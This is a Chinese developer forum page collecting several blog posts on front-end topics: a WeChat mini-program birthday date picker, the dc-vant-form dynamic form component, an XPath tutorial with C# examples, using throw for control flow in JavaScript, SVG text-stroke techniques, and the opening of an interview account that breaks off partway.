注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

手搓微信小程序生日滑动选择😉

web
简单说一下功能点 微信小程序设置用户的生日,直接使用日历有些不太友好,所以选择手搓一个类似某音和某红书差不多的样式。 在实现该功能还是有一些小的注意点的,最主要的就是-->日期选择需要3级联动,因为要获取当前年份有多少月份、以及当前年份的月份有多少天。总...
继续阅读 »

简单说一下功能点


微信小程序设置用户的生日,直接使用日历有些不太友好,所以选择手搓一个类似某音和某红书差不多的样式。


在实现该功能还是有一些小的注意点的,最主要的就是-->日期选择需要3级联动,因为要获取当前年份有多少月份、以及当前年份的月份有多少天。总不能今天是2023年12月3号,但滑动选项里面有明天甚至以后的日期吧。


使用的是VantWeapp组件实现的滑动效果,当然,使用其他组件的一样,结尾附源代码。


功能样式图


日期选择默认的打开样式


image.png


在选择最新日期时候


image.png


除了选择天数不会去重新拉取日期外,当滑动触发年和月的改变,都需要去拉取最新的日期。若拉取的日期的天数或月份不够上一次选择的时候,默认会选择最后一个日期等等小细节吧。


主要代码功能


自己封装的一个时间工具


/**
* 获取有多少年份[默认截至1949]
* @param actYear 截至到多少年份
* @returns 年份数组
*/

export const getYear = (actYear?: number): Array<number> => {
actYear = actYear || 1949;
const date = new Date();
if (actYear >= date.getFullYear()) return [1949];
let yearArr = [];
for (let i = actYear; i <= date.getFullYear(); i++) yearArr.push(i);
return yearArr;
};

/**
* 获取当前年份有多少月份
* @param year 年份
* @returns 月份数组
*/

export const getMonthToYear = (year: number): Array<number> => {
const date = new Date();
const nowYear = date.getFullYear();
if (year > nowYear) return [1];
let monthArr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12];
if (year == nowYear) {
monthArr = [];
for (let i = 1; i <= date.getMonth() + 1; i++) monthArr.push(i);
}
return monthArr;
};

/**
* 获取当前年的月份有多少天
* @param year 年份
* @param month 月份
* @returns 天数数组
*/

export const getDayToMoYe = (year: number, month: number): Array<number> => {
const date = new Date();
const nowYear = date.getFullYear();
const nowMonth = date.getMonth() + 1;
if (year > nowYear) return [1];
let monthArr = getMonthToYear(year);
if (month > monthArr.length) return [1];
let dayArr = [];
if (year == nowYear && month == nowMonth) {
for (let i = 1; i <= date.getDate(); i++) dayArr.push(i);
return dayArr;
}
for (let i = 1; i <= new Date(year, month, 0).getDate(); i++) dayArr.push(i);
return dayArr;
};

组件代码


特别说明:手动删掉了不重要的代码,请勿直接复制


<template>
<van-popup
class="pd-10"
:show="showDateChoose"
round
position="bottom"
@close="showDateChoose = false">

<view class="mt-10 flex-center-zy pd-zy-15">
<view class="ft-color-hui" @click="showDateChoose = false">取消</view>
<view>选择你的生日</view>
<view class="ft-big-4 ft-color-red" @click="saveDate">保存</view>
</view>
<van-picker
:columns="initDate"
@change="onDateChange"
:visible-item-count="3"
:loading="dateLoding" />

</van-popup>
</template>

<script setup lang="ts">
import { ref, onMounted, reactive } from 'vue';
import FixVue from '@/common/pages/fix_vue/FixVue';
import { getYear, getMonthToYear, getDayToMoYe } from '@/utils/TimeUtil';

//展示日期选择框和日期加载
let showDateChoose = ref(false);
let dateLoding = ref(true);

//打开日期选择
const openDate = () => {
dateLoding.value = true;
showDateChoose.value = true;
//测试数据,后需要修改为动态获取的用户生日,若用户生日没有则给默认值
initDateMethod('2001-5-10');
dateLoding.value = false;
};

//保存日期
let newDate = ref('');
const saveDate = () => {
if (!newDate.value) return;
//与原本日期进行对比若不同,调用修改生日的接口。。。
};

//选择新时间
const onDateChange = (e: any) => {
const { picker, index } = e.detail;
if (index == 2) return (newDate.value = picker.getValues());
const upDate = picker.getIndexes();
const year = initDate.value[0].values[upDate[0]];
const month = initDate.value[1].values[upDate[1]];
const day = initDate.value[2].values[upDate[2]];
initDate.value = [];
const result = initDateMethod(year + '-' + month + '-' + day);
newDate.value = picker.getValues();
setTimeout(() => {
picker.setColumnIndex(0, result[0]);
picker.setColumnIndex(1, result[1]);
picker.setColumnIndex(2, result[2]);
}, 10);
};

//初始化年份
let initDate = ref([]);
const initDateMethod = (date: string) => {
let dateSplit = date.split('-');
const year = getYear();
const month = getMonthToYear(+dateSplit[0]);
const day = getDayToMoYe(+dateSplit[0], +dateSplit[1]);
let yearIndex = year.indexOf(+dateSplit[0]) == -1 ? year.length - 1 : year.indexOf(+dateSplit[0]);
initDate.value.push({
values: year,
defaultIndex: yearIndex
});
let monthIndex =
month.indexOf(+dateSplit[1]) == -1 ? month.length - 1 : month.indexOf(+dateSplit[1]);
initDate.value.push({
values: month,
defaultIndex: monthIndex
});
let dayIndex = day.indexOf(+dateSplit[2]) == -1 ? day.length - 1 : day.indexOf(+dateSplit[2]);
initDate.value.push({
values: day,
defaultIndex: dayIndex
});
return [yearIndex, monthIndex, dayIndex];
};
</script>

//主要的css样式,主要添加日期后面的一些提示字,如年、月、日
<style lang="less" scoped>
::v-deep.van-picker-column__item--selected {
color: black;
}
::v-deep[data-index='0'] {
.van-picker-column__item--selected::after {
content: ' 年';
}
}
::v-deep[data-index='1'] {
.van-picker-column__item--selected::after {
content: ' 月';
}
}
::v-deep[data-index='2'] {
.van-picker-column__item--selected::after {
content: ' 日';
}
}
::v-deep.van-picker {
height: 150px !important;
margin-top: 20px;
}
</style>


结束语


至此功能就完结了,接下来已编写完成仿某信的聊天样式,如自动根据输入框弹起高度修改聊天内容触底,以及动态调整输入框的高度和最大限制等等。若有需求的小伙伴,可以聊聊,我会分享个人的想法以及做法,若需求大会写一篇文章以及源码分享。


作者:你浩
来源:juejin.cn/post/7307587537295851535
收起阅读 »

微信小程序动态生成表单来啦!你再也不需要手写表单了!

web
dc-vant-form 由于我们在小程序上涉及到数据采集业务,需要经常使用表单,微信小程序的表单使用起来非常麻烦,数据和表单是分离的,每个输入框都需要做数据处理才能实现响应式数据,所以我开发了dc-vant-form,针对原生微信小程序+vant组件构建的自...
继续阅读 »

dc-vant-form


由于我们在小程序上涉及到数据采集业务,需要经常使用表单,微信小程序的表单使用起来非常麻烦,数据和表单是分离的,每个输入框都需要做数据处理才能实现响应式数据,所以我开发了dc-vant-form,针对原生微信小程序+vant组件构建的自定义表单,开发者可以通过表单配置项来快速生成表单。


1、🚩解决微信小程序表单双向绑定问题


2、👍解决微信小程序下拉弹框值与表单绑定问题


3、✨配置项自动生成表单


4、🎉表单详情通过配置项控制详情回显


5、🚀操作表单单项数据修改


6、🔥提供9种输入组件覆盖表单的大部分业务场景


说明


1、在使用前需要保证项目中安装了vant


2、在使用表单之前,你需要准备表单渲染的数据,以及当前用作回显的详情数据。


3、该表单提供了9种输入组件,分别为:文本、小数、整数、级联选择器、文本域、数字间隔输入器、标准时间选择器、年月日时间选择器、年月时间选择器。


4、初始化时配置参数必传,表单可传可不传,若只传配置参数,我们会根据配置参数自动生成表单。


5、表单提供编辑回显、单条数据传入回显。


6、通过getInit函数初始化表单,通过submit函数获取表单结果。




开始


npm i dc-vant-form

自定义表单示例:


初始化


在初始化前,需要先定义初始化配置,配置项如下:


key说明
label表单label
module表单绑定的数据key
type表单组件类型,值对应:1文本、2小数、3整数、4级联选择器、5文本域、6时间选择器、7数字间隔输入器
isRequired是否星号校验,值对应:true、false
options表单下拉菜单项,值对应数组对象:[{label: '红色',value: 'red'}]
dateType时间选择器类型,默认标准时间选择器,值对应:datetime标准时间、date年月日、year-month年月

注意点


类型说明
type: 4必须配置options项,你可以给它默认值空数组[]
type: 6必须配置dateType项,你可以选择三种对应值:datetime、date、year-month
type: 7必须配置 beginModule、endModule,分别对应左侧、右侧输入框;type为7不需要配置module项

下面是示例:


"usingComponents": {
"dc-vant-form": "/miniprogram_npm/dc-vant-form/dc-vant-form/index"
}

页面:


<dc-vant-form id="dc-vant-form" />

配置项:


config: [
{
label: '详细地址',
module: 'address',
type: 1,
isRequired: true
},
{
label: '商品类型',
module: 'goodsType',
type: 4,
isRequired: true,
options: [
{
id: 1,
label: '电子产品',
value: 101
},
{
id: 2,
label: '儿童玩具',
value: 102
},
{
id: 3,
label: '服装饰品',
value: 103
}
]
},
{
label: '商品颜色',
module: 'goodsColor',
type: 4,
isRequired: true,
options: [
{
id: 1,
label: '红色',
value: 'red'
},
{
id: 2,
label: '青色',
value: 'cyan'
},
{
id: 3,
label: '绿色',
value: 'green'
}
]
},
{
label: '包装体积',
module: 'packingVolume',
type: 2,
isRequired: false
},
{
label: '商品重量',
module: 'goodsWeight',
type: 2,
isRequired: true
},
{
label: '商品结构',
module: 'goodsStructure',
type: 4,
isRequired: true,
options: [
{
id: 1,
label: '成品',
value: 2230
},
{
id: 2,
label: '组装',
value: 2231
}
]
},
{
label: '商品数量',
module: 'goodsNumber',
type: 3,
isRequired: false
},
{
label: '可购范围',
beginModule: 'beginLimit',
endModule: 'endLimit',
type: 7,
isRequired: false
},
{
label: '联系人',
module: 'contact',
type: 1,
isRequired: false
},
{
label: '创建时间',
module: 'createDate',
type: 6,
dateType: 'date',
isRequired: true
},
{
label: '标准时间',
module: 'createDate2',
type: 6,
dateType: 'datetime',
isRequired: true
},
{
label: '选区年月',
module: 'createDate3',
type: 6,
dateType: 'year-month',
isRequired: true
},
{
label: '备注',
module: 'remark',
type: 5,
isRequired: false
}
]

我们将上面的配置项传入init函数初始化表单


  // 数据初始化
init() {
let dom = this.selectComponent("#dc-vant-form");
dom.getInit(this.data.config)
},

onLoad(options) {
this.init();
},

image-20231118110736510




获取表单数据


我们通过submit函数获取表单数据


  // 提交
sure() {
let dom = this.selectComponent("#dc-vant-form");
console.log(dom.submit());
}

image-20231118112342663


image-20231118112407795




表单回显


在初始化时,可以传入表单详情,我们会根据配置项回显表单数据。


// 表单详情数据
form: {
address: '浙江省杭州市',
goodsType: 101,
goodsColor: 'red',
packingVolume: 10,
goodsWeight: 5,
goodsStructure: 2230,
goodsNumber: 100,
beginLimit: 1,
endLimit: 10,
contact: 'DCodes',
createDate: '2023-01-01',
createDate2: '2023-01-01 20:00:00',
createDate3: '2023-01',
remark: '这是一个动态的文本域'
}

init() {
let { config,form } = this.data;
let dom = this.selectComponent("#dc-vant-form");
dom.getInit(config, form)
},

onLoad(options) {
this.init();
},

image-20231118112138758




单项数据修改


我们提供onAccept函数,用于接收指定表单项的修改


onAccept接收三个参数,依次为:value、key、place


参数说明
value更改的值
key表单中对应的key
place如果是数字间隔修改器,需要传入place,分为两个固定参数:left、right,表示需要修改间隔输入框的左侧和右侧

bandicam 2023-11-16 16-14-16-944 00_00_00-00_00_30~1


// 修改某项
update() {
let dom = this.selectComponent("#dc-vant-form");
// 普通类型
// dom.onAccept('浙江省杭州市', 'address')

// 级联选择器-value为options中的key
// dom.onAccept(103, 'goodsType')

// 数字间隔输入器
// dom.onAccept(1, 'beginLimit', 'left')
// dom.onAccept(3, 'endLimit', 'right')
}



如果觉得该组件不错,欢迎点赞👍、收藏💖、转发✨哦~


作者:DCodes
来源:juejin.cn/post/7302359255331110947
收起阅读 »

学会XPath,轻松抓取网页数据

web
一、定义 XPath(XML Path Language)是一种用于在 XML 文档中定位和选择节点的语言。XPath的选择功能非常强大,可以通过简单的路径选择语法,选取文档中的任意节点或节点集。学会XPath,可以轻松抓取网页数据,提高数据获取效率。 二、X...
继续阅读 »

一、定义


XPath(XML Path Language)是一种用于在 XML 文档中定位和选择节点的语言。XPath的选择功能非常强大,可以通过简单的路径选择语法,选取文档中的任意节点或节点集。学会XPath,可以轻松抓取网页数据,提高数据获取效率。


二、XPath基础语法


节点(Nodes): XML 文档的基本构建块,可以是元素、属性、文本等。
路径表达式: 用于定位 XML 文档中的节点。路径表达式由一系列步骤组成,每个步骤用斜杠 / 分隔。


XPath的节点是指在XML或HTML文档中被选择的元素或属性。XPath中有7种类型的节点,包括元素节点、属性节点、文本节点、命名空间节点、处理指令节点、注释节点以及文档节点(或称为根节点)。


- 元素节点:表示XMLHTML文档中的元素。例如,在HTML文档中,<body>、<div>、<p>等都是元素节点。在XPath中,可以使用元素名称来选择元素节点,例如://div表示选择所有的<div>元素。

- 属性节点:表示XMLHTML文档中元素的属性。例如,在HTML文档中,元素的classidsrc等属性都是属性节点。在XPath中,可以使用@符号来选择属性节点,例如://img/@src表示选择所有<img>元素的src属性。

- 文本节点:表示XMLHTML文档中的文本内容。例如,在HTML文档中,<p>标签中的文本内容就是文本节点。在XPath中,可以使用text()函数来选择文本节点,例如://p/text()表示选择所有<p>元素中的文本内容。

- 命名空间节点:表示XML文档中的命名空间。命名空间是一种避免元素命名冲突的方法。在XPath中,可以使用namespace轴来选择命名空间节点,例如://namespace::*表示选择所有的命名空间节点。

- 处理指令节点:表示XML文档中的处理指令。处理指令是一种用来给处理器传递指令的机制。在XPath中,可以使用processing-instruction()函数来选择处理指令节点,例如://processing-instruction('xml-stylesheet')表示选择所有的xml-stylesheet处理指令节点。

- 注释节点:表示XMLHTML文档中的注释。注释是一种用来添加说明和备注的机制。在XPath中,可以使用comment()函数来选择注释节点,例如://comment()表示选择所有的注释节点。

- 文档节点:表示整个XMLHTML文档。文档节点也被称为根节点。在XPath中,可以使用/符号来选择文档节点,例如:/表示选择整个文档节点。

本文使用XML示例如下


<bookstore>
<book category='fiction'>
<title>活着</title>
<author>余华</author>
<press>作家出版社</press>
<date>2012-8-1</date>
<page>191</page>
<price>20.00</price>
<staple>平装</staple>
<series>余华作品(2012版)</series>
<isbn>9787506365437</isbn>
</book>
<book category='non-fiction'>
<title>撒哈拉的故事</title>
<author>三毛</author>
<press>哈尔滨出版社</press>
<date>2003-8</date>
<page>217</page>
<price>15.80</price>
<staple>平装</staple>
<series>三毛全集(华文天下2003版)</series>
<isbn>9787806398791</isbn>
</book>
<book category='non-fiction'>
<title>明朝那些事儿(1-9)</title>
<author>当年明月</author>
<press>中国海关出版社</press>
<date>2009-4</date>
<page>2682</page>
<price>358.20</price>
<staple>精装16开</staple>
<series>明朝那些事儿(典藏本)</series>
<isbn>9787801656087</isbn>
</book>
</bookstore>

除了这些基本节点类型之外,XPath还支持使用通配符:


通配符描述示例
*匹配任何元素节点//book/* 选取<book>元素下的任意子元素节点
@*匹配任何属性节点//book/@* 选取<book>元素上的任意属性节点,如<book category='fiction'>中的category属性
node()匹配任何类型的节点//book/node() 选取<book>元素下的所有类型的子节点,包括元素节点、文本节点、注释节点等

以及使用谓词来进一步筛选选择的节点集。谓词是一种用来对节点进行过滤和排序的机制,可以包含比较运算符、逻辑运算符和函数等,部分示例如下:


谓语描述示例
[position()=n]选取位于指定位置的节点。n 是节点的位置(从 1 开始计数)//book[position()=1] 选取第一个<book>元素
[last()=n]选取位于指定位置的最后一个节点。n 是节点的位置(从 1 开始计数)//book[last()=1] 选取最后一个<book>元素
[contains(string, substring)]选取包含指定子字符串的节点。string 是节点的文本内容,substring 是要查找的子字符串//book[contains(title, 'XML')] 选取标题中包含子字符串'XML'<book>元素
[starts-with(string, prefix)]选取以指定前缀开始的节点。string 是节点的文本内容,prefix 是要匹配的前缀字符串//book[starts-with(title, 'The')] 选取标题以'The'开始的<book>元素
[text()=string]选取文本内容完全匹配的节点。string 是要匹配的文本内容//book[text()='Book Title'] 选取文本内容为'Book Title'<book>元素
[@category='non-fiction']选取具有指定属性值的节点。category 是属性名称,non-fiction 是要匹配的值//book[@category='non-fiction'] 选取具有属性category值为'non-fiction'<book>元素

XPath使用路径表达式来选取XML或HTML文档中的节点或节点集。下面是一些常用的路径表达式:


表达式描述示例
nodename选取此节点的所有子节点//bookstore/book 选取<bookstore>元素下所有<book>子元素
/从根节点选取直接子节点/bookstore 从根节点选取<bookstore>元素
//从当前节点选取子孙节点//book 选取所有<book>元素,无论它们在文档中的位置
.选取当前节点./title 选取当前节点的<title>子元素
..选取当前节点的父节点../price 选取当前节点的父节点的<price>子元素
@选取属性//book/@id 选取所有<book>元素的id属性

三、XPath使用示例


选择所有名称为title的节点://title
选择所有名称为title,同时属性lang的值为eng的节点://title[@lang='eng']
选择id为bookstore的节点的所有子节点:/bookstore/*
选择id为bookstore的节点的所有子孙节点:/bookstore//*
选择id为bookstore的节点的直接子节点中的第一个节点:/bookstore/*[1]
选择id为bookstore的节点的属性为category的值:/bookstore/@category


四、XPath的高级用法


XPath语言提供了一些高级的功能,包括:


轴(Axes):XPath提供了几种轴,用于在文档中导航。包括child(子元素)、ancestor(祖先元素)、descendant(后代元素)和following-sibling(后续同级元素)等。


函数:XPath提供了一些内置的函数,如count(),concat(),string(),local-name(),contains(),not(),string-length()等,可以用于处理和操作节点和属性3。


条件语句:XPath提供了条件语句(如if-else语句),使得我们可以根据某些条件来选择性地提取元素或属性3。


五、.NET中使用


// XML 文档内容
string xmlContent = @"
<bookstore>
<book category='fiction'>
<title>活着</title>
<author>余华</author>
<press>作家出版社</press>
<date>2012-8-1</date>
<page>191</page>
<price>20.00</price>
<staple>平装</staple>
<series>余华作品(2012版)</series>
<isbn>9787506365437</isbn>
</book>
<book category='non-fiction'>
<title>撒哈拉的故事</title>
<author>三毛</author>
<press>哈尔滨出版社</press>
<date>2003-8</date>
<page>217</page>
<price>15.80</price>
<staple>平装</staple>
<series>三毛全集(华文天下2003版)</series>
<isbn>9787806398791</isbn>
</book>
<book category='non-fiction'>
<title>明朝那些事儿(1-9)</title>
<author>当年明月</author>
<press>中国海关出版社</press>
<date>2009-4</date>
<page>2682</page>
<price>358.20</price>
<staple>精装16开</staple>
<series>明朝那些事儿(典藏本)</series>
<isbn>9787801656087</isbn>
</book>
</bookstore>"
;

// 创建 XPath 文档
using (XmlReader reader = XmlReader.Create(new StringReader(xmlContent)))
{
XPathDocument xpathDoc = new XPathDocument(reader);

// 创建 XPath 导航器
XPathNavigator navigator = xpathDoc.CreateNavigator();

// 使用 XPath 查询(选择所有位于bookstore下、其category属性值为'fiction'的book元素中的title元素)
string xpathExpression = "//bookstore/book[@category='fiction']/title";
XPathNodeIterator nodes = navigator.Select(xpathExpression);

// 检查是否有匹配的节点
if (nodes != null)
{
// 遍历结果
while (nodes.MoveNext())
{
// 检查当前节点是否为空
if (nodes.Current != null)
{
Console.WriteLine(nodes.Current.Value);
}
}
}
}

运行结果


微信截图_20231129223229.png


六、XPath在自动化测试中的应用


XPath最常用的场景之一就是在自动化测试中用来选择HTML DOM节点。例如,在Selenium自动化测试中,可以使用XPath作为选择web元素的主要方法之一。通过XPath选择器,可以方便地定位页面中的任意元素,进行自动化测试操作。


七、XPath的优势与不足


XPath的优势在于其强大的选择功能,可以通过简单的路径选择语法,选取文档中的任意节点或节点集。此外,XPath还支持超过100个内建函数,可用于字符串处理、数值计算、日期和时间比较等等。这些函数可以大大提高数据处理的效率。


然而,XPath也有其不足之处。首先,XPath对于复杂的文档结构可能会变得非常复杂,导致选择语句难以理解和维护。其次,XPath在处理大量数据时可能会出现性能问题,因为它需要遍历整个文档来查找匹配的节点。因此,在使用XPath时需要注意优化查询语句,提高查询效率。


八、总结


学会XPath,可以轻松抓取网页数据,提高数据获取效率。本文介绍了XPath的定义、基础语法、使用示例、高级用法、.NET中使用举例以及在自动化测试中的应用场景,同时也讨论了XPath的优势与不足。希望本文能够帮助读者更好地理解和掌握XPath的使用方法。


希望以上内容能够帮助你理解和学习XPath。欢迎点赞、关注、收藏,如果你还有其他问题,欢迎评论区交流。


作者:GoodTime
来源:juejin.cn/post/7306858863444623400
收起阅读 »

js终止程序,我常用throw 替代 return

web
js终止程序有两种方式(如果还有别的请告知我) throw return 这两个好像是两大阵营,前者我个人最推崇,但是很少见人用, 不知道啥原因(兴许是讨厌写try catch吧)。 刚入门那会,总觉得下面这样的验证好麻烦 const formValu...
继续阅读 »

js终止程序有两种方式(如果还有别的请告知我)



  1. throw

  2. return


这两个好像是两大阵营,前者我个人最推崇,但是很少见人用, 不知道啥原因(兴许是讨厌写try catch吧)。


刚入门那会,总觉得下面这样的验证好麻烦


  const formValues = {
mobile: '',
name: '',
}

function onSubmit() {
if (!formValues.name) {
alert('请输入用户名')
return
}

if (!formValues.mobile) {
alert('请输入手机号')
return
}

// n个表单验证,return N次 alert N 次
}

后来发现,可以用throw改进一下



const formValues = {
mobile: '',
name: '',
}

function onSubmit() {
try {
if (!formValues.name) throw ('请输入用户名')
if (!formValues.mobile) throw String('请输入手机号')

} catch (error) {
alert(error)
}
}

这样就好看多了(但很多人觉得,try catch 难看 😂)。
后来验证多了,就把验证挪到单独一个函数里


  const formValues = {
mobile: '',
name: '',
}

function validateFormValues() {
if (!formValues.name) throw ('请输入用户名')
if (!formValues.mobile) throw String('请输入手机号')
}

function onSubmit() {
try {
validateFormValues()

} catch (error) {
alert(error)
}
}

主函数看起来干净些了。这是throw才能做到的,报错跳出调用栈。


由此引出了之前看过的一种写法,用return(我不喜欢)


  const formValues = {
mobile: '',
name: '',
}

function validateFormValues() {
if (!formValues.name) {
alert('请输入用户名')
return
}
if (!formValues.mobile) {
alert('请输入手机号')
return
}

return true
}

function onSubmit() {
const isValidateFormValuesSuccess = validateFormValues();

// 这点我不喜欢,因为还要再写一次判断
if (!isValidateFormValuesSuccess) return
}


如果是遇到嵌套深的复杂场景,函数套函数,是不是就很无力了,因为没法跳转函数栈,只能层层判断。


但是throw就可以无视嵌套,直接报错,最晚层接住错误就可以了。当我们写代码的时候,想终止程序,就直接throw。


看下面这段代码 promise async await 联合使用。可用空间就大了撒。
从此随便造,函数大了就拆逻辑成小函数,想终止就throw


  // promise里面throw 错误 = reject(错误)
async function onSubmit() {
try {
await new Promise((resolve) => {
throw String('故意报错')
})

console.log('a'); // 不会执行
} catch (error) {
alert(error) // 结果:alert 故意报错
}
}

// promise里面 catch 也可以直接抛错误
async function onSubmit() {
try {
await new Promise((resolve, reject) => {
reject('故意报错')
}).catch(error => {
throw error
})

console.log('b'); // 不会执行
} catch (error) {
alert(error)
}
}

可能有的小伙伴会想,try catch 有性能问题。看下图,来源于经典书《高性能javaScript》


image.png


之前公司小伙伴也有这个疑问,我翻了书加上用chorme 微信小程序编辑器,去测过,最终差别不大,没问题的,使劲用。


由此启发,这时候引入一个catchError函数,专门用来接收报错


// 报错白名单,收到这个就不提示报错了,标明是主动行为
const MANUAL_STOP_PROGRAM = "主动终止程序";

/**
* @feat < 捕获错误 >
* @param { unknown } error 错误
* @param { string } location 错误所在位置,标识用的
* @param { Function } onParsedError 解析错误,可能需要把这个错误弄到页面上显示是啥错误
*/

function catchError(error, location, { onParsedError } = {}) {
try {
const errorIsObj = error && typeof error === "object";

if (errorIsObj) throw JSON.stringify(error);

// 其他处理,比如判断是取消网络请求,错误集中上报等等,大家自由发挥,有啥好想法欢迎评论区留言

throw error;
} catch (error) {
console.error(`${location || ""}-捕获错误`, error);

if (new RegExp(MANUAL_STOP_PROGRAM).test(error)) throw MANUAL_STOP_PROGRAM;

// 错误解析完毕
onParsedError && onParsedError(error);

alert(error) // 弹窗提示错误
throw MANUAL_STOP_PROGRAM;
}
}


在上面中 MANUAL_STOP_PROGRAM 就是个白名单了,专门用来标识是主动报错,但是不提示错误
每次 catchError 之后,要把 MANUAL_STOP_PROGRAM 继续抛出来,因为我们可能业务调用链很深,需要多个地方使用到 catchError,但是只需要报错一次,而且需要报错告知外层不执行后续逻辑。


再结合 location 参数,我们可以看到清晰的错误来源


catchError 这个是我得初步设想,一直想做统一的错误收集中心。如果您有好的想法,欢迎告知评论区。


上面执行后,控制台是有点难看的


image.png


通过window.onerror能收集到部分错误,但是异步的就收集不到了。(async promise 这些就没办法了),如果您有啥办法能收集到,麻烦告知一下。


但是控制台难看有啥关系呢。(反正用户和老板也看不到 😂)


/**
* @param { string } message
* @param { source } 表示发生错误的脚本文件的 URL
* @param { lineno } 表示发生错误的行号
*/

window.onerror = function(message, source, lineno) {
// 错误处理逻辑
};

下面是一个比较极端的例子,演示一下深层级的报错效果


  // 生成假数据
async function genrateMockList() {
try {
const list = await Promise.all(
new Array(100).fill(',').map((item, index) => {
try {
if (index === 1) throw String('map 故意报错,嵌套比较深了')

return {
index: 'name'
}
} catch (error) {
catchError(error, 'genrateMockList__item')
}
})
)
return list
} catch (error) {
catchError(error, 'genrateMockList')
}
}

async function getDetails() {
try {
const dataList = await genrateMockList();
console.log('a') // 不会执行
} catch (error) {
catchError(error, 'getDetails')
}
}

getDetails();

image.png


笔者始终认为,写代码很重要的一点是 数据结构 和 程序流控制。


结构清楚了,所有的东西都能一生二二生四一直延伸变化。


程序流控制我们尽量做到简单清晰。


别再纠结用了多少个try catch 多难看了,多一个try catch 就多一分安心,特别是复杂的业务逻辑,可能需要经过5-6个小函数,这时候加上try catch 就能把报错范围缩小,等到代码完全可靠后再移除 try 也不迟。


兴许return 当初设计就只是为了返回值吧,我总觉得throw才是js设计者的终止程序的用意。这段历史有知道的也欢迎说一下。


以上内容供大家参考。有啥看法欢迎评论区留言。


预告:下周开始写一些组件设计思考。是一个系列,存货不多,顶多写几篇


作者:闸蟹
来源:juejin.cn/post/7307522662287556646
收起阅读 »

前端外描边完美实现

web
背景 最近在公司做画布相关的内容,涉及到了字体描边的方案选择,在三种方案对比和尝试下,最终选用了 SVG 作为字体描边的方案,今天就来讲讲这些方案的优缺点。 字体描边方案对比 1. text-stroke 优点: 实现效果好 缺点: 兼容性一般,需要配合 -...
继续阅读 »

背景


最近在公司做画布相关的内容,涉及到了字体描边的方案选择,在三种方案对比和尝试下,最终选用了 SVG 作为字体描边的方案,今天就来讲讲这些方案的优缺点。


字体描边方案对比


1. text-stroke


优点: 实现效果好


缺点:



  • 兼容性一般,需要配合 -webkit-background-clip 属性来实现外描边,而市面上的截图库都不支持这个属性😅,也就是截图后描边效果会丢失(尝试过 html2canvas、html-to-image、dom-to-image,以及公司内部的一些截图库)

  • 有描边吞字的现象:描边宽度变大时,描边会向内扩展把文本覆盖,

  • 宽度为0px的时候也依旧存在描边


效果:


2. text-shadow


优点: 兼容性好


缺点: 实现效果不好,怎么说呢,很难评,有种锯齿的美,毕竟人家不是干这行的 😅


效果:


3. SVG


优点: 兼容性好、实现效果好,整体上看比 text-stroke 效果还要好


缺点: iOS 上同样存在描边吞字的现象,但是它的缺点都可以解决,还请看下文


效果:


image.png


4. Canvas


优点: 兼容性好


缺点:



  • 字体整体比较模糊

  • 有描边吞字的现象

  • 需要通过 canvas api 来进行绘制


效果:



调试


上面四种方案都可以在 CodeSandBox 中自行尝试一下:


codesandbox.io/p/sandbox/s…


SVG 实现字体描边


通过 svg 的 paint-order 来实现字体描边,兼容性最好,并且实现效果也很不错,基本兼容市面上所有浏览器,并且截图库基本都支持这个属性,下面就来讲讲 SVG 字体描边方案的实现:


<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
<text
x="0"
y="0"
alignment-baseline="text-before-edge"
text-anchor="start"
>

字体描边
</text>
</svg>

text {
font-size: 50px;
font-weight: bold;
stroke: red;
stroke-width: 4px;
paint-order: stroke;
}

通过 stroke-linejoin 属性,可以 对 svg 的描边有更灵活的控制:



但是在 iOS 中,使用 paint-order 有一个坑:当 stroke-width 被设置成不同值的时候,描边有可能向文字内部扩展,导致字体被吞没,最终字体的颜色变成跟描边的颜色一致。


解决这个问题当然也有一个办法:使用 svg 的 tspan


tspan 可以控制一个 text 标签中多行文本的展示,通过设置 dxdy 属性来控制与上一个 tspan 的距离。那么对于 iOS 描边展示异常这个问题,我们就有了一个解决办法:



  1. text 内添加两个 tspan

  2. 第一个 tspan 用来控制描边展示,设置 stroke-width

  3. 第二个 tspan 用户展示字体主体,覆盖在第一个 tspan 上面(设置 dx="0" dy="0"


<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
<text>
<tspan
x="0"
y="0"
style="stroke-width: 5px"
alignment-baseline="text-before-edge"
text-anchor="start"
>

文本
</tspan>
<tspan
dx="0"
dy="0"
alignment-baseline="text-before-edge"
text-anchor="start"
>

文本
</tspan>
</text>
</svg>

兼容性如下:



总结



  • 整体上来看,通过 SVG 实现字体描边比其他三种方案效果都要好,并且兼容性也不错;

  • 同时,tspan 可以控制 text 中的文本换行,通过 tspan 可以解决字体被描边覆盖的问题


作者:DAHUIAAAAAA
来源:juejin.cn/post/7307544166446956556
收起阅读 »

大专前端,三轮面试,终与阿里无缘

web
因为一些缘故,最近一直在找工作,再加上这个互联网寒冬的大环境,从三月找到六月了,一直没有合适的机会 先说一下背景,目前三年半年经验,base 杭州,大专学历+自考本科 就在前几天,Boss 上收到了阿里某个团队的投递邀请(具体部门就不透露了),因为学历问题...
继续阅读 »

因为一些缘故,最近一直在找工作,再加上这个互联网寒冬的大环境,从三月找到六月了,一直没有合适的机会



先说一下背景,目前三年半年经验,base 杭州,大专学历+自考本科



就在前几天,Boss 上收到了阿里某个团队的投递邀请(具体部门就不透露了),因为学历问题,基本上大厂简历都不会通过初筛,但还是抱着破罐子破摔的心态投递给了对方,出乎意料的是简历评估通过了,可能是因为有两个开源项目和一个协同文档加分吧。


进入到面试环节,首先是两道笔试题,算是前置面试:


第一道题目是算法题:


提供了一个数组结构的 data,要求实现一个 query 方法,返回一个新的数组,query 方法内部有 过滤排序分组 等操作,并且支持链式调用,调用最终的 execute 方法返回结果:


const result = query(list)
.where(item => item.age > 18)
.sortBy('id')
.groupBy('name')
.execute();

console.log(result);

具体实现这里就不贴了,过滤用原生的数组 filter 方法,排序用原生的数组 sort 方法,分组需要手写一下,类似 lodash/groupBy 方法。


过滤和排序实现都比较顺利,在实现分组方法的时候不是很顺利,有点忘记思路了,不过最后还是写出来了,关于链式调用,核心是只需要在每一步的操作最后返回 this 即可。


第二道题目是场景题:


